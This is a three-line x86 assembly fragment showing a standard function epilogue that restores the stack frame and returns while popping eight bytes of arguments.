mov esp, ebp
pop ebp
ret 8